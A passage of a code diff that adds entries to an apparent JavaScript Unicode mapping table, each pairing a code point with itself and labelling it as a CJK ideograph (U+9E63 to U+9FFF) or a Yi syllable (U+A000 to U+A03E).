+ ["\u9E63", "\u9E63"], /* CJK Ideograph */
+ ["\u9E64", "\u9E64"], /* CJK Ideograph */
+ ["\u9E65", "\u9E65"], /* CJK Ideograph */
+ ["\u9E66", "\u9E66"], /* CJK Ideograph */
+ ["\u9E67", "\u9E67"], /* CJK Ideograph */
+ ["\u9E68", "\u9E68"], /* CJK Ideograph */
+ ["\u9E69", "\u9E69"], /* CJK Ideograph */
+ ["\u9E6A", "\u9E6A"], /* CJK Ideograph */
+ ["\u9E6B", "\u9E6B"], /* CJK Ideograph */
+ ["\u9E6C", "\u9E6C"], /* CJK Ideograph */
+ ["\u9E6D", "\u9E6D"], /* CJK Ideograph */
+ ["\u9E6E", "\u9E6E"], /* CJK Ideograph */
+ ["\u9E6F", "\u9E6F"], /* CJK Ideograph */
+ ["\u9E70", "\u9E70"], /* CJK Ideograph */
+ ["\u9E71", "\u9E71"], /* CJK Ideograph */
+ ["\u9E72", "\u9E72"], /* CJK Ideograph */
+ ["\u9E73", "\u9E73"], /* CJK Ideograph */
+ ["\u9E74", "\u9E74"], /* CJK Ideograph */
+ ["\u9E75", "\u9E75"], /* CJK Ideograph */
+ ["\u9E76", "\u9E76"], /* CJK Ideograph */
+ ["\u9E77", "\u9E77"], /* CJK Ideograph */
+ ["\u9E78", "\u9E78"], /* CJK Ideograph */
+ ["\u9E79", "\u9E79"], /* CJK Ideograph */
+ ["\u9E7A", "\u9E7A"], /* CJK Ideograph */
+ ["\u9E7B", "\u9E7B"], /* CJK Ideograph */
+ ["\u9E7C", "\u9E7C"], /* CJK Ideograph */
+ ["\u9E7D", "\u9E7D"], /* CJK Ideograph */
+ ["\u9E7E", "\u9E7E"], /* CJK Ideograph */
+ ["\u9E7F", "\u9E7F"], /* CJK Ideograph */
+ ["\u9E80", "\u9E80"], /* CJK Ideograph */
+ ["\u9E81", "\u9E81"], /* CJK Ideograph */
+ ["\u9E82", "\u9E82"], /* CJK Ideograph */
+ ["\u9E83", "\u9E83"], /* CJK Ideograph */
+ ["\u9E84", "\u9E84"], /* CJK Ideograph */
+ ["\u9E85", "\u9E85"], /* CJK Ideograph */
+ ["\u9E86", "\u9E86"], /* CJK Ideograph */
+ ["\u9E87", "\u9E87"], /* CJK Ideograph */
+ ["\u9E88", "\u9E88"], /* CJK Ideograph */
+ ["\u9E89", "\u9E89"], /* CJK Ideograph */
+ ["\u9E8A", "\u9E8A"], /* CJK Ideograph */
+ ["\u9E8B", "\u9E8B"], /* CJK Ideograph */
+ ["\u9E8C", "\u9E8C"], /* CJK Ideograph */
+ ["\u9E8D", "\u9E8D"], /* CJK Ideograph */
+ ["\u9E8E", "\u9E8E"], /* CJK Ideograph */
+ ["\u9E8F", "\u9E8F"], /* CJK Ideograph */
+ ["\u9E90", "\u9E90"], /* CJK Ideograph */
+ ["\u9E91", "\u9E91"], /* CJK Ideograph */
+ ["\u9E92", "\u9E92"], /* CJK Ideograph */
+ ["\u9E93", "\u9E93"], /* CJK Ideograph */
+ ["\u9E94", "\u9E94"], /* CJK Ideograph */
+ ["\u9E95", "\u9E95"], /* CJK Ideograph */
+ ["\u9E96", "\u9E96"], /* CJK Ideograph */
+ ["\u9E97", "\u9E97"], /* CJK Ideograph */
+ ["\u9E98", "\u9E98"], /* CJK Ideograph */
+ ["\u9E99", "\u9E99"], /* CJK Ideograph */
+ ["\u9E9A", "\u9E9A"], /* CJK Ideograph */
+ ["\u9E9B", "\u9E9B"], /* CJK Ideograph */
+ ["\u9E9C", "\u9E9C"], /* CJK Ideograph */
+ ["\u9E9D", "\u9E9D"], /* CJK Ideograph */
+ ["\u9E9E", "\u9E9E"], /* CJK Ideograph */
+ ["\u9E9F", "\u9E9F"], /* CJK Ideograph */
+ ["\u9EA0", "\u9EA0"], /* CJK Ideograph */
+ ["\u9EA1", "\u9EA1"], /* CJK Ideograph */
+ ["\u9EA2", "\u9EA2"], /* CJK Ideograph */
+ ["\u9EA3", "\u9EA3"], /* CJK Ideograph */
+ ["\u9EA4", "\u9EA4"], /* CJK Ideograph */
+ ["\u9EA5", "\u9EA5"], /* CJK Ideograph */
+ ["\u9EA6", "\u9EA6"], /* CJK Ideograph */
+ ["\u9EA7", "\u9EA7"], /* CJK Ideograph */
+ ["\u9EA8", "\u9EA8"], /* CJK Ideograph */
+ ["\u9EA9", "\u9EA9"], /* CJK Ideograph */
+ ["\u9EAA", "\u9EAA"], /* CJK Ideograph */
+ ["\u9EAB", "\u9EAB"], /* CJK Ideograph */
+ ["\u9EAC", "\u9EAC"], /* CJK Ideograph */
+ ["\u9EAD", "\u9EAD"], /* CJK Ideograph */
+ ["\u9EAE", "\u9EAE"], /* CJK Ideograph */
+ ["\u9EAF", "\u9EAF"], /* CJK Ideograph */
+ ["\u9EB0", "\u9EB0"], /* CJK Ideograph */
+ ["\u9EB1", "\u9EB1"], /* CJK Ideograph */
+ ["\u9EB2", "\u9EB2"], /* CJK Ideograph */
+ ["\u9EB3", "\u9EB3"], /* CJK Ideograph */
+ ["\u9EB4", "\u9EB4"], /* CJK Ideograph */
+ ["\u9EB5", "\u9EB5"], /* CJK Ideograph */
+ ["\u9EB6", "\u9EB6"], /* CJK Ideograph */
+ ["\u9EB7", "\u9EB7"], /* CJK Ideograph */
+ ["\u9EB8", "\u9EB8"], /* CJK Ideograph */
+ ["\u9EB9", "\u9EB9"], /* CJK Ideograph */
+ ["\u9EBA", "\u9EBA"], /* CJK Ideograph */
+ ["\u9EBB", "\u9EBB"], /* CJK Ideograph */
+ ["\u9EBC", "\u9EBC"], /* CJK Ideograph */
+ ["\u9EBD", "\u9EBD"], /* CJK Ideograph */
+ ["\u9EBE", "\u9EBE"], /* CJK Ideograph */
+ ["\u9EBF", "\u9EBF"], /* CJK Ideograph */
+ ["\u9EC0", "\u9EC0"], /* CJK Ideograph */
+ ["\u9EC1", "\u9EC1"], /* CJK Ideograph */
+ ["\u9EC2", "\u9EC2"], /* CJK Ideograph */
+ ["\u9EC3", "\u9EC3"], /* CJK Ideograph */
+ ["\u9EC4", "\u9EC4"], /* CJK Ideograph */
+ ["\u9EC5", "\u9EC5"], /* CJK Ideograph */
+ ["\u9EC6", "\u9EC6"], /* CJK Ideograph */
+ ["\u9EC7", "\u9EC7"], /* CJK Ideograph */
+ ["\u9EC8", "\u9EC8"], /* CJK Ideograph */
+ ["\u9EC9", "\u9EC9"], /* CJK Ideograph */
+ ["\u9ECA", "\u9ECA"], /* CJK Ideograph */
+ ["\u9ECB", "\u9ECB"], /* CJK Ideograph */
+ ["\u9ECC", "\u9ECC"], /* CJK Ideograph */
+ ["\u9ECD", "\u9ECD"], /* CJK Ideograph */
+ ["\u9ECE", "\u9ECE"], /* CJK Ideograph */
+ ["\u9ECF", "\u9ECF"], /* CJK Ideograph */
+ ["\u9ED0", "\u9ED0"], /* CJK Ideograph */
+ ["\u9ED1", "\u9ED1"], /* CJK Ideograph */
+ ["\u9ED2", "\u9ED2"], /* CJK Ideograph */
+ ["\u9ED3", "\u9ED3"], /* CJK Ideograph */
+ ["\u9ED4", "\u9ED4"], /* CJK Ideograph */
+ ["\u9ED5", "\u9ED5"], /* CJK Ideograph */
+ ["\u9ED6", "\u9ED6"], /* CJK Ideograph */
+ ["\u9ED7", "\u9ED7"], /* CJK Ideograph */
+ ["\u9ED8", "\u9ED8"], /* CJK Ideograph */
+ ["\u9ED9", "\u9ED9"], /* CJK Ideograph */
+ ["\u9EDA", "\u9EDA"], /* CJK Ideograph */
+ ["\u9EDB", "\u9EDB"], /* CJK Ideograph */
+ ["\u9EDC", "\u9EDC"], /* CJK Ideograph */
+ ["\u9EDD", "\u9EDD"], /* CJK Ideograph */
+ ["\u9EDE", "\u9EDE"], /* CJK Ideograph */
+ ["\u9EDF", "\u9EDF"], /* CJK Ideograph */
+ ["\u9EE0", "\u9EE0"], /* CJK Ideograph */
+ ["\u9EE1", "\u9EE1"], /* CJK Ideograph */
+ ["\u9EE2", "\u9EE2"], /* CJK Ideograph */
+ ["\u9EE3", "\u9EE3"], /* CJK Ideograph */
+ ["\u9EE4", "\u9EE4"], /* CJK Ideograph */
+ ["\u9EE5", "\u9EE5"], /* CJK Ideograph */
+ ["\u9EE6", "\u9EE6"], /* CJK Ideograph */
+ ["\u9EE7", "\u9EE7"], /* CJK Ideograph */
+ ["\u9EE8", "\u9EE8"], /* CJK Ideograph */
+ ["\u9EE9", "\u9EE9"], /* CJK Ideograph */
+ ["\u9EEA", "\u9EEA"], /* CJK Ideograph */
+ ["\u9EEB", "\u9EEB"], /* CJK Ideograph */
+ ["\u9EEC", "\u9EEC"], /* CJK Ideograph */
+ ["\u9EED", "\u9EED"], /* CJK Ideograph */
+ ["\u9EEE", "\u9EEE"], /* CJK Ideograph */
+ ["\u9EEF", "\u9EEF"], /* CJK Ideograph */
+ ["\u9EF0", "\u9EF0"], /* CJK Ideograph */
+ ["\u9EF1", "\u9EF1"], /* CJK Ideograph */
+ ["\u9EF2", "\u9EF2"], /* CJK Ideograph */
+ ["\u9EF3", "\u9EF3"], /* CJK Ideograph */
+ ["\u9EF4", "\u9EF4"], /* CJK Ideograph */
+ ["\u9EF5", "\u9EF5"], /* CJK Ideograph */
+ ["\u9EF6", "\u9EF6"], /* CJK Ideograph */
+ ["\u9EF7", "\u9EF7"], /* CJK Ideograph */
+ ["\u9EF8", "\u9EF8"], /* CJK Ideograph */
+ ["\u9EF9", "\u9EF9"], /* CJK Ideograph */
+ ["\u9EFA", "\u9EFA"], /* CJK Ideograph */
+ ["\u9EFB", "\u9EFB"], /* CJK Ideograph */
+ ["\u9EFC", "\u9EFC"], /* CJK Ideograph */
+ ["\u9EFD", "\u9EFD"], /* CJK Ideograph */
+ ["\u9EFE", "\u9EFE"], /* CJK Ideograph */
+ ["\u9EFF", "\u9EFF"], /* CJK Ideograph */
+ ["\u9F00", "\u9F00"], /* CJK Ideograph */
+ ["\u9F01", "\u9F01"], /* CJK Ideograph */
+ ["\u9F02", "\u9F02"], /* CJK Ideograph */
+ ["\u9F03", "\u9F03"], /* CJK Ideograph */
+ ["\u9F04", "\u9F04"], /* CJK Ideograph */
+ ["\u9F05", "\u9F05"], /* CJK Ideograph */
+ ["\u9F06", "\u9F06"], /* CJK Ideograph */
+ ["\u9F07", "\u9F07"], /* CJK Ideograph */
+ ["\u9F08", "\u9F08"], /* CJK Ideograph */
+ ["\u9F09", "\u9F09"], /* CJK Ideograph */
+ ["\u9F0A", "\u9F0A"], /* CJK Ideograph */
+ ["\u9F0B", "\u9F0B"], /* CJK Ideograph */
+ ["\u9F0C", "\u9F0C"], /* CJK Ideograph */
+ ["\u9F0D", "\u9F0D"], /* CJK Ideograph */
+ ["\u9F0E", "\u9F0E"], /* CJK Ideograph */
+ ["\u9F0F", "\u9F0F"], /* CJK Ideograph */
+ ["\u9F10", "\u9F10"], /* CJK Ideograph */
+ ["\u9F11", "\u9F11"], /* CJK Ideograph */
+ ["\u9F12", "\u9F12"], /* CJK Ideograph */
+ ["\u9F13", "\u9F13"], /* CJK Ideograph */
+ ["\u9F14", "\u9F14"], /* CJK Ideograph */
+ ["\u9F15", "\u9F15"], /* CJK Ideograph */
+ ["\u9F16", "\u9F16"], /* CJK Ideograph */
+ ["\u9F17", "\u9F17"], /* CJK Ideograph */
+ ["\u9F18", "\u9F18"], /* CJK Ideograph */
+ ["\u9F19", "\u9F19"], /* CJK Ideograph */
+ ["\u9F1A", "\u9F1A"], /* CJK Ideograph */
+ ["\u9F1B", "\u9F1B"], /* CJK Ideograph */
+ ["\u9F1C", "\u9F1C"], /* CJK Ideograph */
+ ["\u9F1D", "\u9F1D"], /* CJK Ideograph */
+ ["\u9F1E", "\u9F1E"], /* CJK Ideograph */
+ ["\u9F1F", "\u9F1F"], /* CJK Ideograph */
+ ["\u9F20", "\u9F20"], /* CJK Ideograph */
+ ["\u9F21", "\u9F21"], /* CJK Ideograph */
+ ["\u9F22", "\u9F22"], /* CJK Ideograph */
+ ["\u9F23", "\u9F23"], /* CJK Ideograph */
+ ["\u9F24", "\u9F24"], /* CJK Ideograph */
+ ["\u9F25", "\u9F25"], /* CJK Ideograph */
+ ["\u9F26", "\u9F26"], /* CJK Ideograph */
+ ["\u9F27", "\u9F27"], /* CJK Ideograph */
+ ["\u9F28", "\u9F28"], /* CJK Ideograph */
+ ["\u9F29", "\u9F29"], /* CJK Ideograph */
+ ["\u9F2A", "\u9F2A"], /* CJK Ideograph */
+ ["\u9F2B", "\u9F2B"], /* CJK Ideograph */
+ ["\u9F2C", "\u9F2C"], /* CJK Ideograph */
+ ["\u9F2D", "\u9F2D"], /* CJK Ideograph */
+ ["\u9F2E", "\u9F2E"], /* CJK Ideograph */
+ ["\u9F2F", "\u9F2F"], /* CJK Ideograph */
+ ["\u9F30", "\u9F30"], /* CJK Ideograph */
+ ["\u9F31", "\u9F31"], /* CJK Ideograph */
+ ["\u9F32", "\u9F32"], /* CJK Ideograph */
+ ["\u9F33", "\u9F33"], /* CJK Ideograph */
+ ["\u9F34", "\u9F34"], /* CJK Ideograph */
+ ["\u9F35", "\u9F35"], /* CJK Ideograph */
+ ["\u9F36", "\u9F36"], /* CJK Ideograph */
+ ["\u9F37", "\u9F37"], /* CJK Ideograph */
+ ["\u9F38", "\u9F38"], /* CJK Ideograph */
+ ["\u9F39", "\u9F39"], /* CJK Ideograph */
+ ["\u9F3A", "\u9F3A"], /* CJK Ideograph */
+ ["\u9F3B", "\u9F3B"], /* CJK Ideograph */
+ ["\u9F3C", "\u9F3C"], /* CJK Ideograph */
+ ["\u9F3D", "\u9F3D"], /* CJK Ideograph */
+ ["\u9F3E", "\u9F3E"], /* CJK Ideograph */
+ ["\u9F3F", "\u9F3F"], /* CJK Ideograph */
+ ["\u9F40", "\u9F40"], /* CJK Ideograph */
+ ["\u9F41", "\u9F41"], /* CJK Ideograph */
+ ["\u9F42", "\u9F42"], /* CJK Ideograph */
+ ["\u9F43", "\u9F43"], /* CJK Ideograph */
+ ["\u9F44", "\u9F44"], /* CJK Ideograph */
+ ["\u9F45", "\u9F45"], /* CJK Ideograph */
+ ["\u9F46", "\u9F46"], /* CJK Ideograph */
+ ["\u9F47", "\u9F47"], /* CJK Ideograph */
+ ["\u9F48", "\u9F48"], /* CJK Ideograph */
+ ["\u9F49", "\u9F49"], /* CJK Ideograph */
+ ["\u9F4A", "\u9F4A"], /* CJK Ideograph */
+ ["\u9F4B", "\u9F4B"], /* CJK Ideograph */
+ ["\u9F4C", "\u9F4C"], /* CJK Ideograph */
+ ["\u9F4D", "\u9F4D"], /* CJK Ideograph */
+ ["\u9F4E", "\u9F4E"], /* CJK Ideograph */
+ ["\u9F4F", "\u9F4F"], /* CJK Ideograph */
+ ["\u9F50", "\u9F50"], /* CJK Ideograph */
+ ["\u9F51", "\u9F51"], /* CJK Ideograph */
+ ["\u9F52", "\u9F52"], /* CJK Ideograph */
+ ["\u9F53", "\u9F53"], /* CJK Ideograph */
+ ["\u9F54", "\u9F54"], /* CJK Ideograph */
+ ["\u9F55", "\u9F55"], /* CJK Ideograph */
+ ["\u9F56", "\u9F56"], /* CJK Ideograph */
+ ["\u9F57", "\u9F57"], /* CJK Ideograph */
+ ["\u9F58", "\u9F58"], /* CJK Ideograph */
+ ["\u9F59", "\u9F59"], /* CJK Ideograph */
+ ["\u9F5A", "\u9F5A"], /* CJK Ideograph */
+ ["\u9F5B", "\u9F5B"], /* CJK Ideograph */
+ ["\u9F5C", "\u9F5C"], /* CJK Ideograph */
+ ["\u9F5D", "\u9F5D"], /* CJK Ideograph */
+ ["\u9F5E", "\u9F5E"], /* CJK Ideograph */
+ ["\u9F5F", "\u9F5F"], /* CJK Ideograph */
+ ["\u9F60", "\u9F60"], /* CJK Ideograph */
+ ["\u9F61", "\u9F61"], /* CJK Ideograph */
+ ["\u9F62", "\u9F62"], /* CJK Ideograph */
+ ["\u9F63", "\u9F63"], /* CJK Ideograph */
+ ["\u9F64", "\u9F64"], /* CJK Ideograph */
+ ["\u9F65", "\u9F65"], /* CJK Ideograph */
+ ["\u9F66", "\u9F66"], /* CJK Ideograph */
+ ["\u9F67", "\u9F67"], /* CJK Ideograph */
+ ["\u9F68", "\u9F68"], /* CJK Ideograph */
+ ["\u9F69", "\u9F69"], /* CJK Ideograph */
+ ["\u9F6A", "\u9F6A"], /* CJK Ideograph */
+ ["\u9F6B", "\u9F6B"], /* CJK Ideograph */
+ ["\u9F6C", "\u9F6C"], /* CJK Ideograph */
+ ["\u9F6D", "\u9F6D"], /* CJK Ideograph */
+ ["\u9F6E", "\u9F6E"], /* CJK Ideograph */
+ ["\u9F6F", "\u9F6F"], /* CJK Ideograph */
+ ["\u9F70", "\u9F70"], /* CJK Ideograph */
+ ["\u9F71", "\u9F71"], /* CJK Ideograph */
+ ["\u9F72", "\u9F72"], /* CJK Ideograph */
+ ["\u9F73", "\u9F73"], /* CJK Ideograph */
+ ["\u9F74", "\u9F74"], /* CJK Ideograph */
+ ["\u9F75", "\u9F75"], /* CJK Ideograph */
+ ["\u9F76", "\u9F76"], /* CJK Ideograph */
+ ["\u9F77", "\u9F77"], /* CJK Ideograph */
+ ["\u9F78", "\u9F78"], /* CJK Ideograph */
+ ["\u9F79", "\u9F79"], /* CJK Ideograph */
+ ["\u9F7A", "\u9F7A"], /* CJK Ideograph */
+ ["\u9F7B", "\u9F7B"], /* CJK Ideograph */
+ ["\u9F7C", "\u9F7C"], /* CJK Ideograph */
+ ["\u9F7D", "\u9F7D"], /* CJK Ideograph */
+ ["\u9F7E", "\u9F7E"], /* CJK Ideograph */
+ ["\u9F7F", "\u9F7F"], /* CJK Ideograph */
+ ["\u9F80", "\u9F80"], /* CJK Ideograph */
+ ["\u9F81", "\u9F81"], /* CJK Ideograph */
+ ["\u9F82", "\u9F82"], /* CJK Ideograph */
+ ["\u9F83", "\u9F83"], /* CJK Ideograph */
+ ["\u9F84", "\u9F84"], /* CJK Ideograph */
+ ["\u9F85", "\u9F85"], /* CJK Ideograph */
+ ["\u9F86", "\u9F86"], /* CJK Ideograph */
+ ["\u9F87", "\u9F87"], /* CJK Ideograph */
+ ["\u9F88", "\u9F88"], /* CJK Ideograph */
+ ["\u9F89", "\u9F89"], /* CJK Ideograph */
+ ["\u9F8A", "\u9F8A"], /* CJK Ideograph */
+ ["\u9F8B", "\u9F8B"], /* CJK Ideograph */
+ ["\u9F8C", "\u9F8C"], /* CJK Ideograph */
+ ["\u9F8D", "\u9F8D"], /* CJK Ideograph */
+ ["\u9F8E", "\u9F8E"], /* CJK Ideograph */
+ ["\u9F8F", "\u9F8F"], /* CJK Ideograph */
+ ["\u9F90", "\u9F90"], /* CJK Ideograph */
+ ["\u9F91", "\u9F91"], /* CJK Ideograph */
+ ["\u9F92", "\u9F92"], /* CJK Ideograph */
+ ["\u9F93", "\u9F93"], /* CJK Ideograph */
+ ["\u9F94", "\u9F94"], /* CJK Ideograph */
+ ["\u9F95", "\u9F95"], /* CJK Ideograph */
+ ["\u9F96", "\u9F96"], /* CJK Ideograph */
+ ["\u9F97", "\u9F97"], /* CJK Ideograph */
+ ["\u9F98", "\u9F98"], /* CJK Ideograph */
+ ["\u9F99", "\u9F99"], /* CJK Ideograph */
+ ["\u9F9A", "\u9F9A"], /* CJK Ideograph */
+ ["\u9F9B", "\u9F9B"], /* CJK Ideograph */
+ ["\u9F9C", "\u9F9C"], /* CJK Ideograph */
+ ["\u9F9D", "\u9F9D"], /* CJK Ideograph */
+ ["\u9F9E", "\u9F9E"], /* CJK Ideograph */
+ ["\u9F9F", "\u9F9F"], /* CJK Ideograph */
+ ["\u9FA0", "\u9FA0"], /* CJK Ideograph */
+ ["\u9FA1", "\u9FA1"], /* CJK Ideograph */
+ ["\u9FA2", "\u9FA2"], /* CJK Ideograph */
+ ["\u9FA3", "\u9FA3"], /* CJK Ideograph */
+ ["\u9FA4", "\u9FA4"], /* CJK Ideograph */
+ ["\u9FA5", "\u9FA5"], /* CJK Ideograph */
+ ["\u9FA6", "\u9FA6"], /* CJK Ideograph */
+ ["\u9FA7", "\u9FA7"], /* CJK Ideograph */
+ ["\u9FA8", "\u9FA8"], /* CJK Ideograph */
+ ["\u9FA9", "\u9FA9"], /* CJK Ideograph */
+ ["\u9FAA", "\u9FAA"], /* CJK Ideograph */
+ ["\u9FAB", "\u9FAB"], /* CJK Ideograph */
+ ["\u9FAC", "\u9FAC"], /* CJK Ideograph */
+ ["\u9FAD", "\u9FAD"], /* CJK Ideograph */
+ ["\u9FAE", "\u9FAE"], /* CJK Ideograph */
+ ["\u9FAF", "\u9FAF"], /* CJK Ideograph */
+ ["\u9FB0", "\u9FB0"], /* CJK Ideograph */
+ ["\u9FB1", "\u9FB1"], /* CJK Ideograph */
+ ["\u9FB2", "\u9FB2"], /* CJK Ideograph */
+ ["\u9FB3", "\u9FB3"], /* CJK Ideograph */
+ ["\u9FB4", "\u9FB4"], /* CJK Ideograph */
+ ["\u9FB5", "\u9FB5"], /* CJK Ideograph */
+ ["\u9FB6", "\u9FB6"], /* CJK Ideograph */
+ ["\u9FB7", "\u9FB7"], /* CJK Ideograph */
+ ["\u9FB8", "\u9FB8"], /* CJK Ideograph */
+ ["\u9FB9", "\u9FB9"], /* CJK Ideograph */
+ ["\u9FBA", "\u9FBA"], /* CJK Ideograph */
+ ["\u9FBB", "\u9FBB"], /* CJK Ideograph */
+ ["\u9FBC", "\u9FBC"], /* CJK Ideograph */
+ ["\u9FBD", "\u9FBD"], /* CJK Ideograph */
+ ["\u9FBE", "\u9FBE"], /* CJK Ideograph */
+ ["\u9FBF", "\u9FBF"], /* CJK Ideograph */
+ ["\u9FC0", "\u9FC0"], /* CJK Ideograph */
+ ["\u9FC1", "\u9FC1"], /* CJK Ideograph */
+ ["\u9FC2", "\u9FC2"], /* CJK Ideograph */
+ ["\u9FC3", "\u9FC3"], /* CJK Ideograph */
+ ["\u9FC4", "\u9FC4"], /* CJK Ideograph */
+ ["\u9FC5", "\u9FC5"], /* CJK Ideograph */
+ ["\u9FC6", "\u9FC6"], /* CJK Ideograph */
+ ["\u9FC7", "\u9FC7"], /* CJK Ideograph */
+ ["\u9FC8", "\u9FC8"], /* CJK Ideograph */
+ ["\u9FC9", "\u9FC9"], /* CJK Ideograph */
+ ["\u9FCA", "\u9FCA"], /* CJK Ideograph */
+ ["\u9FCB", "\u9FCB"], /* CJK Ideograph */
+ ["\u9FCC", "\u9FCC"], /* CJK Ideograph */
+ ["\u9FCD", "\u9FCD"], /* CJK Ideograph */
+ ["\u9FCE", "\u9FCE"], /* CJK Ideograph */
+ ["\u9FCF", "\u9FCF"], /* CJK Ideograph */
+ ["\u9FD0", "\u9FD0"], /* CJK Ideograph */
+ ["\u9FD1", "\u9FD1"], /* CJK Ideograph */
+ ["\u9FD2", "\u9FD2"], /* CJK Ideograph */
+ ["\u9FD3", "\u9FD3"], /* CJK Ideograph */
+ ["\u9FD4", "\u9FD4"], /* CJK Ideograph */
+ ["\u9FD5", "\u9FD5"], /* CJK Ideograph */
+ ["\u9FD6", "\u9FD6"], /* CJK Ideograph */
+ ["\u9FD7", "\u9FD7"], /* CJK Ideograph */
+ ["\u9FD8", "\u9FD8"], /* CJK Ideograph */
+ ["\u9FD9", "\u9FD9"], /* CJK Ideograph */
+ ["\u9FDA", "\u9FDA"], /* CJK Ideograph */
+ ["\u9FDB", "\u9FDB"], /* CJK Ideograph */
+ ["\u9FDC", "\u9FDC"], /* CJK Ideograph */
+ ["\u9FDD", "\u9FDD"], /* CJK Ideograph */
+ ["\u9FDE", "\u9FDE"], /* CJK Ideograph */
+ ["\u9FDF", "\u9FDF"], /* CJK Ideograph */
+ ["\u9FE0", "\u9FE0"], /* CJK Ideograph */
+ ["\u9FE1", "\u9FE1"], /* CJK Ideograph */
+ ["\u9FE2", "\u9FE2"], /* CJK Ideograph */
+ ["\u9FE3", "\u9FE3"], /* CJK Ideograph */
+ ["\u9FE4", "\u9FE4"], /* CJK Ideograph */
+ ["\u9FE5", "\u9FE5"], /* CJK Ideograph */
+ ["\u9FE6", "\u9FE6"], /* CJK Ideograph */
+ ["\u9FE7", "\u9FE7"], /* CJK Ideograph */
+ ["\u9FE8", "\u9FE8"], /* CJK Ideograph */
+ ["\u9FE9", "\u9FE9"], /* CJK Ideograph */
+ ["\u9FEA", "\u9FEA"], /* CJK Ideograph */
+ ["\u9FEB", "\u9FEB"], /* CJK Ideograph */
+ ["\u9FEC", "\u9FEC"], /* CJK Ideograph */
+ ["\u9FED", "\u9FED"], /* CJK Ideograph */
+ ["\u9FEE", "\u9FEE"], /* CJK Ideograph */
+ ["\u9FEF", "\u9FEF"], /* CJK Ideograph */
+ ["\u9FF0", "\u9FF0"], /* CJK Ideograph */
+ ["\u9FF1", "\u9FF1"], /* CJK Ideograph */
+ ["\u9FF2", "\u9FF2"], /* CJK Ideograph */
+ ["\u9FF3", "\u9FF3"], /* CJK Ideograph */
+ ["\u9FF4", "\u9FF4"], /* CJK Ideograph */
+ ["\u9FF5", "\u9FF5"], /* CJK Ideograph */
+ ["\u9FF6", "\u9FF6"], /* CJK Ideograph */
+ ["\u9FF7", "\u9FF7"], /* CJK Ideograph */
+ ["\u9FF8", "\u9FF8"], /* CJK Ideograph */
+ ["\u9FF9", "\u9FF9"], /* CJK Ideograph */
+ ["\u9FFA", "\u9FFA"], /* CJK Ideograph */
+ ["\u9FFB", "\u9FFB"], /* CJK Ideograph */
+ ["\u9FFC", "\u9FFC"], /* CJK Ideograph */
+ ["\u9FFD", "\u9FFD"], /* CJK Ideograph */
+ ["\u9FFE", "\u9FFE"], /* CJK Ideograph */
+ ["\u9FFF", "\u9FFF"], /* CJK Ideograph */
+ ["\uA000", "\uA000"], /* YI SYLLABLE IT */
+ ["\uA001", "\uA001"], /* YI SYLLABLE IX */
+ ["\uA002", "\uA002"], /* YI SYLLABLE I */
+ ["\uA003", "\uA003"], /* YI SYLLABLE IP */
+ ["\uA004", "\uA004"], /* YI SYLLABLE IET */
+ ["\uA005", "\uA005"], /* YI SYLLABLE IEX */
+ ["\uA006", "\uA006"], /* YI SYLLABLE IE */
+ ["\uA007", "\uA007"], /* YI SYLLABLE IEP */
+ ["\uA008", "\uA008"], /* YI SYLLABLE AT */
+ ["\uA009", "\uA009"], /* YI SYLLABLE AX */
+ ["\uA00A", "\uA00A"], /* YI SYLLABLE A */
+ ["\uA00B", "\uA00B"], /* YI SYLLABLE AP */
+ ["\uA00C", "\uA00C"], /* YI SYLLABLE UOX */
+ ["\uA00D", "\uA00D"], /* YI SYLLABLE UO */
+ ["\uA00E", "\uA00E"], /* YI SYLLABLE UOP */
+ ["\uA00F", "\uA00F"], /* YI SYLLABLE OT */
+ ["\uA010", "\uA010"], /* YI SYLLABLE OX */
+ ["\uA011", "\uA011"], /* YI SYLLABLE O */
+ ["\uA012", "\uA012"], /* YI SYLLABLE OP */
+ ["\uA013", "\uA013"], /* YI SYLLABLE EX */
+ ["\uA014", "\uA014"], /* YI SYLLABLE E */
+ ["\uA015", "\uA015"], /* YI SYLLABLE WU */
+ ["\uA016", "\uA016"], /* YI SYLLABLE BIT */
+ ["\uA017", "\uA017"], /* YI SYLLABLE BIX */
+ ["\uA018", "\uA018"], /* YI SYLLABLE BI */
+ ["\uA019", "\uA019"], /* YI SYLLABLE BIP */
+ ["\uA01A", "\uA01A"], /* YI SYLLABLE BIET */
+ ["\uA01B", "\uA01B"], /* YI SYLLABLE BIEX */
+ ["\uA01C", "\uA01C"], /* YI SYLLABLE BIE */
+ ["\uA01D", "\uA01D"], /* YI SYLLABLE BIEP */
+ ["\uA01E", "\uA01E"], /* YI SYLLABLE BAT */
+ ["\uA01F", "\uA01F"], /* YI SYLLABLE BAX */
+ ["\uA020", "\uA020"], /* YI SYLLABLE BA */
+ ["\uA021", "\uA021"], /* YI SYLLABLE BAP */
+ ["\uA022", "\uA022"], /* YI SYLLABLE BUOX */
+ ["\uA023", "\uA023"], /* YI SYLLABLE BUO */
+ ["\uA024", "\uA024"], /* YI SYLLABLE BUOP */
+ ["\uA025", "\uA025"], /* YI SYLLABLE BOT */
+ ["\uA026", "\uA026"], /* YI SYLLABLE BOX */
+ ["\uA027", "\uA027"], /* YI SYLLABLE BO */
+ ["\uA028", "\uA028"], /* YI SYLLABLE BOP */
+ ["\uA029", "\uA029"], /* YI SYLLABLE BEX */
+ ["\uA02A", "\uA02A"], /* YI SYLLABLE BE */
+ ["\uA02B", "\uA02B"], /* YI SYLLABLE BEP */
+ ["\uA02C", "\uA02C"], /* YI SYLLABLE BUT */
+ ["\uA02D", "\uA02D"], /* YI SYLLABLE BUX */
+ ["\uA02E", "\uA02E"], /* YI SYLLABLE BU */
+ ["\uA02F", "\uA02F"], /* YI SYLLABLE BUP */
+ ["\uA030", "\uA030"], /* YI SYLLABLE BURX */
+ ["\uA031", "\uA031"], /* YI SYLLABLE BUR */
+ ["\uA032", "\uA032"], /* YI SYLLABLE BYT */
+ ["\uA033", "\uA033"], /* YI SYLLABLE BYX */
+ ["\uA034", "\uA034"], /* YI SYLLABLE BY */
+ ["\uA035", "\uA035"], /* YI SYLLABLE BYP */
+ ["\uA036", "\uA036"], /* YI SYLLABLE BYRX */
+ ["\uA037", "\uA037"], /* YI SYLLABLE BYR */
+ ["\uA038", "\uA038"], /* YI SYLLABLE PIT */
+ ["\uA039", "\uA039"], /* YI SYLLABLE PIX */
+ ["\uA03A", "\uA03A"], /* YI SYLLABLE PI */
+ ["\uA03B", "\uA03B"], /* YI SYLLABLE PIP */
+ ["\uA03C", "\uA03C"], /* YI SYLLABLE PIEX */
+ ["\uA03D", "\uA03D"], /* YI SYLLABLE PIE */
+ ["\uA03E", "\uA03E"], /* YI SYLLABLE PIEP */
